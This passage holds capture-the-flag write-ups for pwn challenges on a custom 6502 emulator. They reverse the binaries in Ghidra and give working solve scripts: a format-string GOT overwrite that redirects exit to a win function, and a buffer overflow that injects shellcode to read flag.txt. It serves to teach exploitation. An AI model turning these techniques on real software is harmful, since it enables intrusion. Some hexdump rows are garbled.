    memcpy(&DAT_00114908,param_1,param_2);
    FUN_0010269e(0xffff);
    DAT_00108900 = 0xc000;          // program is loaded to 0xC000
  }
  return (long)param_2 < 0x1001;
}

We can see here that the base address is 0xc000. In the disassembled output from before we can see some addresses like c0c4, c081. Those are all addresses in the program. So to get the win address we can see in the disassembled output that the win starts at 00b8:

; Win function
00b8 LDA 3 ; Loads the flag
00ba STA fb
00bc LDA c0
00be STA fc
00c0 JSR c0c4 ; Jumps to the print function
00c3 RTS

So the address is 0xc0b8. We see that it loads the flag at offset 3. So lets see if the flag is there:

                 ,------- flag value --------------------.
                 v                                        v
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 4c 4c c0 49 4e 54 49 4752 49 54 49 7b 52 45 44 │LL×INTIG┊RITI{RED│
│00000010│ 41 43 54 45 44 5f 52 4544 41 43 54 45 44 7d 00 │ACTED_RE┊DACTED}0│00000020│ 57 65 6c 63 6f 6d 65 2120 53 6f 6d 65 74 68 69 │Welcome!┊ Somethi│
│00000030│ 6e 67 20 68 65 72 65 2e ┊ 2e 2e 0a 00 42 79 65 20 │ng here.┊.._0Bye │
│00000040│ 62 79 65 21 00 48 65 6c ┊ 6c 6f 20 00 a2 03 20 c9 │bye!0Hel┊lo 0ו ×│
│00000050│ ff a9 20 85 fb a9 c0 85 ┊ fc 20 c9 c0 20 6d c0 a9 │×× ×××××┊× ×× m××│
│00000060│ 3c 85 fb a9 c0 85 fc 20 ┊ c9 c0 60 00 00 18 ba 8e │<×××××× ┊××`00•××│
│00000070│ 6b c0 8a e9 32 aa ca 9a ┊ 85 fd a9 01 85 fe a0 00 │k×××2×××┊××ו×××0│
│00000080│ a9 00 8d 6c c0 20 cf ff ┊ 48 ad 6c c0 c9 64 68 f0 │×0×l× ××┊H×l××dh×│
│00000090│ 11 91 fd c8 ee 6c c0 c9 ┊ 0d f0 07 c9 0a f0 03 4c │•××××l××┊_ו×_וL│
│000000a0│ 85 c0 a9 45 85 fb a9 c0 ┊ 85 fc 20 c9 c0 a5 fd 85 │×××E××××┊×× ×××××│
│000000b0│ fb a5 fe 85 fc 20 c9 c0 ┊ ae 6b c0 9a 60 a9 03 85 │××××× ××┊×k××`ו×│
│000000c0│ fb a9 c0 85 fc 20 c9 c0 ┊ 60 a0 ff c8 b1 fb 20 d2 │××××× ××┊`××××× ×│
│000000d0│ ff d0 f8 60             ┊                         │×××`    ┊        │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

It indeed starts at that offset.

So if we put everything in a script we get:

solve.py

from pwn import *

p = process(["runtime", "program.prg"])
p.sendline(b"a"*51 + b"\xbd\xc0")
print(p.readall())

Running this on remote will give us the flag.

Flag INTIGRITI{d0_s0m3_r3tr0_pwn}

Retro-as-a-Service

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & DavidP
CategoryPwn
Solves1
DifficultyMedium
Filesretro.zip

image

Solution

We are provided with few files. Its just the setup for remote and the binary. We see that it takes our input as hex and write it to a file and run it with the runtime binary. Lets first check the protections of the binary:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

We can see that PIE is not enabled and there is Partial RELRO, so GOT is writable. Lets checks the strings in the binary. We find some interesting strings:

flag.txt
flag.txt not found! If this happened on the server, contact the admin please!

This means that there is probably a win function somewhere.

Now we need to find a vulnerability. As we probably already reversed the runtime in the Impossible Mission challenge, we didnt find anything suspicious. If we reference were the string is used, we can find the win function:

void FUN_00401266(void)

{
  long lVar1;
  int iVar2;
  FILE *__stream;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    perror("flag.txt not found! If this happened on the server, contact the admin please!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  do {
    iVar2 = fgetc(__stream);
    putchar((int)(char)iVar2);
  } while ((char)iVar2 != -1);
  fclose(__stream);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

If we diff the binary we can see that it is different. We can check all modified functions here:

image

The one with 67.22% is interesting. The others aren't really important. The one with 84% is a false positive I guess.(It compares different functions). Lets check the function in Ghidra:

void FUN_00405a6a(void)

{
  long lVar1;
  char cVar2;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  cVar2 = FUN_0040160c();
  if (cVar2 == 31) {
    do {
      invalidInstructionException();
    } while( true );
  }
  if (cVar2 == 32) {
    printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
  }
  else {
    panic();
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We can see a format string vulnerability: printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));.

We can see that CONCAT is here used with 2 arguments from the DATA section. If you dont know what CONCAT means in ghidra read this(taken from stackoverflow):

CONCAT in particular could be modeled as a left shift of the first argument by the size of the second argument and then logical and-ing the two parameters. 
But for humans it's much easier to think of it as "put the two things next to each other".

The numbers following CONCAT only matter if the passed arguments are not the expected sizes and are probably mainly there to make things more explicit. 
Concretely, you shouldn't read CONCAT15 as "concat fifteen" but as "concat one five": The first argument is expected to have a size of one byte while the second has a size of five, 
totaling to an amount of six bytes: CONCAT15(0x12, 0x3456789012) is the same as 0x123456789012

If we check the assembly we can see that it indeeds left shift the first argument by the size of the second argument. The size is 8 bits(1 byte). It then OR it instead of ANDing(ig the person that answered this made a mistake there, because ANDing is wrong) it:

        00405aa1 0f b6 05        MOVZX      EAX,byte ptr [DAT_0040b923]
                 7b 5e 00 00
        00405aa8 0f b6 c0        MOVZX      EAX,AL
        00405aab c1 e0 08        SHL        EAX,0x8
        00405aae 89 c2           MOV        EDX,EAX
        00405ab0 0f b6 05        MOVZX      EAX,byte ptr [DAT_0040b924]
                 6d 5e 00 00
        00405ab7 0f b6 c0        MOVZX      EAX,AL
        00405aba 09 d0           OR         EAX,EDX
        00405abc 66 89 45 f2     MOV        word ptr [RBP + local_16],AX
        00405ac0 0f b7 45 f2     MOVZX      EAX,word ptr [RBP + local_16]
        00405ac4 48 98           CDQE
        00405ac6 48 8d 15        LEA        RDX,[DAT_0040b920]
                 53 5e 00 00
        00405acd 48 01 d0        ADD        RAX,RDX
        00405ad0 48 83 c0 08     ADD        RAX,0x8
        00405ad4 48 89 c7        MOV        RDI,RAX
        00405ad7 b8 00 00        MOV        EAX,0x0
                 00 00
        00405adc e8 cf b5        CALL       <EXTERNAL>::printf
                 ff ff

Based on thise we know that it concat two values. In the challenge Impossible Mission we already reversed the binary, we found out that the 2 values at the data section are register X and Y. It then adds the value to the first argument of printf. Thats where the value is stored. So in code its something like mem[(reg_x << 8) | reg_y]. You can check in GDB how it works if you dont get it. With this we can try to exploit the binary.

So I created an small poc:

* = $c000; Sets the base address to 0xc000
jmp start

payload .ASCII "%p"
        .BYTE 0

start	
		jsr		test
test	
		ldx		#>payload
		ldy		#<payload
		.word   0 ; We will patch this later with int #32. int isn't a normal opcode in c64. In this opcode it takes input etc.. In this challenge there is a format string here if we call it with 32 as hex value. 

		rts

We use this poc to test the vulnerability. We set the base address to 0xc000. We do this because we saw it when reversing the binary. It then loads the high byte in the X register and the low byte in the Y register. We also set a .word 0 as placeholder. We do this because the function with the vuln isn't a valid opcode in c64. We can check the offset where the opcode is set.

We reversed this function already:

bool step(void)

{
  code *pcVar1;
  byte bVar2;
  long in_FS_OFFSET;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  bVar2 = read8bytes();
  pcVar1 = (code *)(&PTR_FUN_0040b0e0)[(int)(uint)bVar2];
  if (pcVar1 == (code *)0x0) {
    panic();
  }
  (*pcVar1)();
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return DAT_0040b920 != -1;
}

Here we can see that it index an array: pcVar1 = (code *)(&PTR_FUN_0040b0e0)[(int)(uint)bVar2];. If we check the references in Ghidra to the vulnerable function, we can find that its stored in the array at address 0x40b858. We can calculate the offset in python:

>>> hex((0x40b858 - 0x40b0e0) // 8)
'0xef'

We can see here that the offset is empty, so it means that this isnt a valid opcode. We can use that value to call the custom opcode. As we have seen in the decompiled code if we call the opcode with value decimal value 32, it calls the printf:

  if (cVar2 == 32) {
    printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
  }

We use this online assembler to compile the program and download the program as Standard Binary. Now we patch the binary with an hexeditor.

If we check the current value we see:

┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000│ 4c 06 c0 25 70 00 20 09 ┊ c0 a2 c0 a0 03 00 00 60L•×%p0 _┊×××ו00`│
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

We just need to replace the first zero byte with the opcode ef and the second value with 20(hex value of decimal value 32):

┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000│ 4c 06 c0 25 70 00 20 09 ┊ c0 a2 c0 a0 03 ef 20 60L•×%p0 _┊××××•× `│
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

When we run it locally with the binary we get this:

➜ ./runtime test.prg
(nil)(nil)

Our poc works. If we set a breakpoint at the printf call and check the stack we can see:

gef> tele $rsp 0x10 -n
0x7fff923f2db0|+0x0000|000: 0x00000020c0032de0  <-  $rsp
0x7fff923f2db8|+0x0008|001: 0xd7e2789b1f42fb00  <-  canary
0x7fff923f2dc0|+0x0010|002: 0x00007fff923f2df0  ->  0x00007fff923f2e10  ->  0x00007fff923f3e70  ->  0x0000000000000002  <-  $rbp
0x7fff923f2dc8|+0x0018|003: 0x0000000000405c9b  ->  0x6600005c7e05b70f  <-  retaddr[1]
0x7fff923f2dd0|+0x0020|004: 0x00007fff923f3f88  ->  0x00007fff923f6149  ->  './runtime'
0x7fff923f2dd8|+0x0028|005: 0xefe2789b1f42fb00
0x7fff923f2de0|+0x0030|006: 0x0000000000405a6a  ->  0x10ec8348e5894855
0x7fff923f2de8|+0x0038|007: 0xd7e2789b1f42fb00  <-  canary
0x7fff923f2df0|+0x0040|008: 0x00007fff923f2e10  ->  0x00007fff923f3e70  ->  0x0000000000000002
0x7fff923f2df8|+0x0048|009: 0x0000000000405ceb  ->  0x9090f0eb0274c085  <-  retaddr[2]
0x7fff923f2e00|+0x0050|010: 0x0000000000bae480  ->  0x0920007025c0064c
0x7fff923f2e08|+0x0058|011: 0xd7e2789b1f42fb00  <-  canary
0x7fff923f2e10|+0x0060|012: 0x00007fff923f3e70  ->  0x0000000000000002
0x7fff923f2e18|+0x0068|013: 0x00000000004015a3  ->  0x45ebe800000000b8  <-  retaddr[3]
0x7fff923f2e20|+0x0070|014: 0x00007fff923f3f88  ->  0x00007fff923f6149  ->  './runtime'
0x7fff923f2e28|+0x0078|015: 0x0000000200000200

At position 012 on the stack we can see that it points to another stack location: 0x00007fff923f3e70. We know that GOT is writable. So our goal is to write the exit got address there and then at that offset we overwrite it with the win function. We can calculate the offset of the stack address. The position we write the exit address is 18th position. The second address is at position 542:

gef> p/d (0x00007fff923f3e70 - 0x7fff923f2e10) / 8 + 18
$1 = 542

Now we just take the decimal values of the exit address and win address and write at those offsets in 2 stages. We do this to prevent internal printf positional error. Exit is called in the panic function. In the vulnerable function if we call the opcode without any valid value it calls the panic function:

  if (cVar2 == 31) {
    do {
      invalidInstructionException();
    } while( true );
  }
  if (cVar2 == 32) {
    printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
  }
  else {
    panic();
  }

So we can make this assembly program:

* = $c000; Sets the base address to 0xc000
jmp start

payload .ASCII "%4239512c%18$n"  ; Exit GOT address, Write to the 18th position on stack. 18 position points to the 542th position. 
        .BYTE 0
payload2 .ASCII "%4199014c%542$n" ; Overwrite exit got with the win function
         .BYTE 0

start	
		jsr		stage1
		jsr		stage2
stage1	
		ldx		#>payload
		ldy		#<payload
		.word   0 ; We will patch this later with int #32. int isn't a normal opcode in c64. In this opcode it takes input etc.. In this challenge there is a format string here if we call it with 32 as hex value. 

		rts

stage2
		ldx		#>payload
		ldy		#<payload2
		.word   0 ; We will patch this later with int #32

		.word	0 ; We will patch this later with int #100. This will call the panic function. In that function it calls exit

We patch the zero bytes with the custom opcode and the needed values.

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
'''.format(**locals())

exe = './runtime'
exe_args = ['payload.prg']
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
# context(terminal=['tmux', 'split-window', '-h'])

def file_to_hex(filename):
    try:
        with open(filename, 'rb') as file:
            file_data = file.read()
            hex_data = file_data.hex()
            return hex_data
    except FileNotFoundError:
        print(f"File '{filename}' not found.")

REMOTE = True

if REMOTE == False:
    io = start(exe_args)
    io.interactive()
else:
    io = start()
    hex_data = file_to_hex("payload.prg")
    io.sendline(hex_data.encode())
    print(io.recvall())

Running this locally and remotely give us the flag:

Flag INTIGRITI{cl0ud_53rv1c35_45_1n_7h3_805}

Seahorse Hide 'n' Seek

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & DavidP
CategoryPwn
Solves1
DifficultyHard
Filesseahorse.zip

image

Solution

For this challenge we again have the 6502 vm and a program. It's the code for a simple phonebook manager application. The user can insert contacts and print the list of recorded contacts.

=== Telephone Manager 1982 ===
1. add entry
2. list entries
3. exit
1
enter first name: Hello
enter last name: World
enter phone: 999999
new record added

1. add entry
2. list entries
3. exit
1
enter first name: Foo
enter last name: Bar
enter phone: 1337
new record added

1. add entry
2. list entries
3. exit
2
Hello World 999999
Foo Bar 1337

1. add entry
2. list entries
3. exit

The structure is the same as in the previous challenges. Some data is defined at the top, the code starts at offset 800. We can disassemble the program with our previously written disassembler or using online tools like this. The disassembly is quite big, but we can split functionality roughly by following RTS mnemonics. First off, there are a few utility functions:

; subroutine that prints a string to screen
; Name 'print'
0320 STX fb
0322 STY fc
0324 LDY ff
0326 INY
0327 LDA (fb), y
0329 JSR ffd2
032c BNE f8
032e RTS

; subroutine that multiplies two 8 bit values  by
; using shift and add algorithmus
; Name 'mul8'
032f some var
0330 some var
0331 some var
0332 STX c32f
0335 STX c330
0338 LDA 0
033a LDX 8
033c LSR c330
033f BCC 4
0341 CLC
0342 ADC c32f
0345 ROR A
0346 ROR c331
0349 DEX
034a BNE f0
034c TAY
034d LDA c331
0350 TAX
0351 RTS

; subroutine that adds a 8 bit value to a 16 bit value
; Name 'add16'
0352 some var
0353 some var
0354 some var
0355 STX c353
0358 STX c354
035b STA c352
035e CLC
035f LDA c353
0362 ADC c352
0365 TAX
0366 BCC 6
0368 LDA c354
036b ADC 0
036d TAY
036e RTS

Afterwards comes the main menu subroutine. Here the menu options are printed and the user input is read. Depending on the user input the associated subroutines are called.

; Name 'main_menu'
036f some var
0370 LDX 68             ; LDX/LDY hold hi and lo byte of menu string
0372 LDY c2
0374 JSR c320           ; jump to 'print'
0377 JSR ffcf           ; read input via CHRIN (ffcf) kernal routine from keyboard
037a CMP d
037c BEQ a
037e CMP a
0380 BEQ 6              ; check if user pressed return 
0382 STA c36f           ; if not, save current key
0385 JMP c377           ; and jump back to menu read input start
0388 LDA c36f
038b CMP 31             ; compare last pressed key (before return key)
038d BEQ 12             ; and jump forward depending if user pressed
038f CMP 32             ; 1, 2 or 3
0391 BEQ 14
0393 CMP 33
0395 BEQ 16
0397 LDX d4             ; if user input was not valid print a invalid
0399 LDY c2             ; input message 'invalid input...' and jump back to main menu start
039b JSR c320
039e JMP c370
03a1 JSR c3b0           ; jump to add_entry subroutine
03a4 JMP c370
03a7 JSR c428           ; jump to list_all subroutine
03aa JMP c370
03ad RTS

Next up comes a subroutine that is jumped to when the user presses '1' in the main menu, so here is adding new records handled. There is a large amount of repetitive code that prints a input prompt and then reads user input.

; Name 'add_entry'
03ae some var
03af some var
03b0 LDA c003           ; c003 stores number of entries
03b3 CMP a              ; compare with max entries (10)
03b5 BMI 8              ; if less than max entries jump forward
03b7 LDX e7             ; otherwise print error message 'your phonebook is full
03b9 LDY c2
03bb JSR c320
03be RTS

03bf LDX c003           ; load number of entries
03c2 LDY 3a             ; load entry size
03c4 JSR c332           ; call mul8
03c7 STX c3ae           ; store result of num_entries * ENTRY_SIZE
03ca STX c3af

03cd LDA 4              ; add offset to address where the phonebook records
03cf ADC c3ae           ; should be stored. all in all we calculate
03d2 STA c3ae           ; record_ptr = &buffer[num_entries * ENTRY_SIZE]
03d5 LDA c0
03d7 ADC c3af
03da STA c3af

03dd LDX 8e             ; print message 'enter first name: '
03df LDY c2
03e1 JSR c320
03e4 LDX c3ae           ; fetch pointer to current record
03e7 LDY c3af
03ea LDA 0
03ec JSR c355           ; add field offset (first field = offset 0)
03ef JSR c49b           ; jump to 'user_input' subroutine

03f2 LDX a1             ; as above but for field 'last name', the field
03f4 LDY c2             ; offset is '19' here so we write to
03f6 JSR c320           ; ptr_last_name = &record_ptr[0x19]
03f9 LDX c3ae
03fc LDY c3af
03ff LDA 19
0401 JSR c355
0404 JSR 

0407 LDX b3             ; as above but for field 'phone number', the field
0409 LDY c2             ; offset is '32' here so we write to
040b JSR c320           ; ptr_phone_number = &record_ptr[0x32]
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b

041c INC c003           ; increment number of entries

041f LDX c1             ; print message 'new record added'
0421 LDY c2
0423 JSR c320
0426 RTS

The next subroutine is jumped to when the user presses '2' for listing the phonebook records.

; Name 'list_all'
0427 some var
0428 LDA 4              ; fetch start of phonebook records buffer
042a STA c3ae
042d LDA c0
042f STA c3af

0432 LDA c003           ; check if num entries is larger than 0, otherwise
0435 CMP 0
0437 BEQ 5a             ; jump to error handler

0439 STA c427           ; store num entries as counter

043c LDX c3ae           ; load buffer address
043f LDY c3af
0442 LDA 0              ; add offset 0 to address: &buffer[0]
0444 JSR c355
0447 JSR c320           ; print value stored in field 'first name'
044a LDA 20             ; print space
044c JSR ffd2

044f LDX c3ae           ; load buffer address
0452 LDY c3af
0455 LDA 19             ; add offset 19 to address: &buffer[0x19]
0457 JSR c355
045a JSR c320           ; print value stored in field 'last name'
045d LDA 20             ; print space
045f JSR ffd2

0462 LDX c3ae           ; load buffer address
0465 LDY c3af
0468 LDA 32             ; add offset 32 to address: &buffer[0x32]
046a JSR c355
046d JSR c320           ; print value stored in field 'phone number'
0470 LDA a              ; print space
0472 JSR ffd2

0475 LDX c3ae           ; move buffer base pointer to start of next record
0478 LDY c3af
047b LDA 3a
047d JSR c355
0480 STX c3ae
0483 STX c3af

0486 DEC c427           ; decrement counter and
0489 BNE b1             ; jump back if not reached 0

048b LDA a
048d JSR ffd2           ; print additional new line and jump out of method
0490 JMP c49a

0493 LDX 0              ; error handler, print 'your phonebook has no records'
0495 LDY c3
0497 JSR c320

049a RTS

The last subroutine is used to read user input.

; Name 'user_input'
049b STX fb
049d STY fc
049f LDY 0
04a1 JSR ffcf           ; read next character

04a4 CMP d
04a6 BEQ 10
04a8 CMP a
04aa BEQ c              ; check if user pressed 'return'

04ac STA (fb), y        ; store character to address stored in $fb:$fc + value in register Y
04ae INY                ; inc Y to move to next character
04af BNE f0             ; of Y is zero the 8 bit range wrapped around
04b1 INC fc             ; and we need to increment the high byte of the address 
04b3 LDY 0
04b5 JMP c4a1
04b8 RTS

The last part can be considered the 'main' function. it only prints a header and jumps to subroutine main_menu.

04b9 LDX 3
04bb JSR ffc9
04be LDX 48
04c0 LDY c2
04c2 JSR c320
04c5 JSR c370           ; jum to main_menu
04c8 RTS

With all this we know what the program is doing. Inspecting a bit closer we can find a vulnerability in user_input. The subroutine reads until either a new line or carriage return character was read. This will happily accept any number of characters and write the characters to memory, eventually overflowing the buffer. But how can we use this?

We can see that the buffer is located near the base address and before the code starts. This gives us the oportunity to override the program code and replace it with our own shellcode.

Since we know the flag is located in a file we have to read the contents. Commodore 64 provided some kernal routines for file IO: SETLFS, SETNAM, LOAD. Thankfully the vm supports these routines, so we can write a small program that reads flag.txt and prints the content to screen. To assemble the code we can use for instance this online assembler.


; kernal subroutines
SETLFS      = $FFBA
SETNAM      = $FFBD
LOAD        = $FFD5
CHROUT      = $FFD2

; store address to string for print subroutine
STRLO       = $FB
STRHI       = $FC

NAMELEN     = 9

* = $c036

            jmp     start

filename    .ASCII "flag.txt" 
            .BYTE 0
buffer      .REPEAT 42 .BYTE 0

* = $c099
start       lda     #NAMELEN
            ldx     #<filename
            ldy     #>filename
            jsr     SETNAM

            lda     #01
            ldx     $ba
            bne     skip
            ldx     #$08
skip        ldy     #00
            jsr     SETLFS

            ldx     #<buffer
            ldy     #>buffer
            lda     #00
            jsr     LOAD
            bcs     exit

            lda     #<buffer
            sta     STRLO
            lda     #>buffer
            sta     STRHI
            ldy     #$ff
l0          iny
            lda     (STRLO),Y
            jsr     CHROUT
            bne     l0

exit        rts

One minor thing to note is that the program is not loaded to the default base address 0xc000 but to 0xc036 since we enter the program as phone number when creating a new contact and the offset of the phone number of the first entry is located at this address (3 byte for jump to program start + 25 bytes for first name + 25 bytes for last name). Next we need to find a place where we can redirect the program flow.

If we assemble this and pass it to the program nothing exciting is happening. This is since we overflow our record but we don't overflow the buffer containing all records. To check if our idea is working we can just add a lot of random bytes and see when the program is crashing. Since it's crashing at a certain point we know we ideed can override the loaded program bytecodes. Now we only need to see how we can redirect the program flow to our shellcode. If we check out the code that reads the phone number we see the following:

0407 LDX b3
0409 LDY c2
040b JSR c320
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b           ; jump to 'user_input' where our code is read
                        ; after all input is send the program returns from the
                        ; subroutine and picks up flow at address $c41c

041c INC c003           ; increment number of entries

We could redirect the program flow by overriding INC c003 with a jump to our shellcode (JMP c036). We can see in our disassembly that the opcode is located at offset c41c so we padd our shellcode with a lot of NOP until reaching the INC and then emitting our instruction to jump back to our shellcode start.

Putting it to work we can write a small python script that automates the progress:

from pwn import *

shellcode = [0x4C, 0x6C, 0xC0, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x74, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0x09, 0xA2, 0x39, 0xA0, 0xC0,
             0x20, 0xBD, 0xFF, 0xA9, 0x01, 0xA6, 0xBA, 0xD0, 0x02, 0xA2, 0x08, 0xA0,
             0x00, 0x20, 0xBA, 0xFF, 0xA2, 0x42, 0xA0, 0xC0, 0xA9, 0x00, 0x20, 0xD5,
             0xFF, 0xB0, 0x12, 0xA9, 0x42, 0x85, 0xFB, 0xA9, 0xC0, 0x85, 0xFC, 0xA0,
             0xFF, 0xC8, 0xB1, 0xFB, 0x20, 0xD2, 0xFF, 0xD0, 0xF8, 0x60]

payload = bytes(shellcode)
payload += (0x41c-0xa0) * b"\xea"   # padd to reach 'INC c003' instruction
payload += b"\x4c\x36\xc0"          # overriding it with 'JMP c036'

p = process(["runtime", "program.prg"])

p.sendlineafter(b"3. exit\n", b"1")
p.sendlineafter(b"enter first name: ", b"")
p.sendlineafter(b"enter last name: ", b"")
p.sendlineafter(b"enter phone: ", payload)
print(p.readall())

Running this, will give us the flag.

$ python solve.py
[+] Opening connection to localhost on port 54321: Done
[+] Receiving all data: Done (85B)
[*] Closed connection to localhost port 54321
b'\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00'

Flag INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}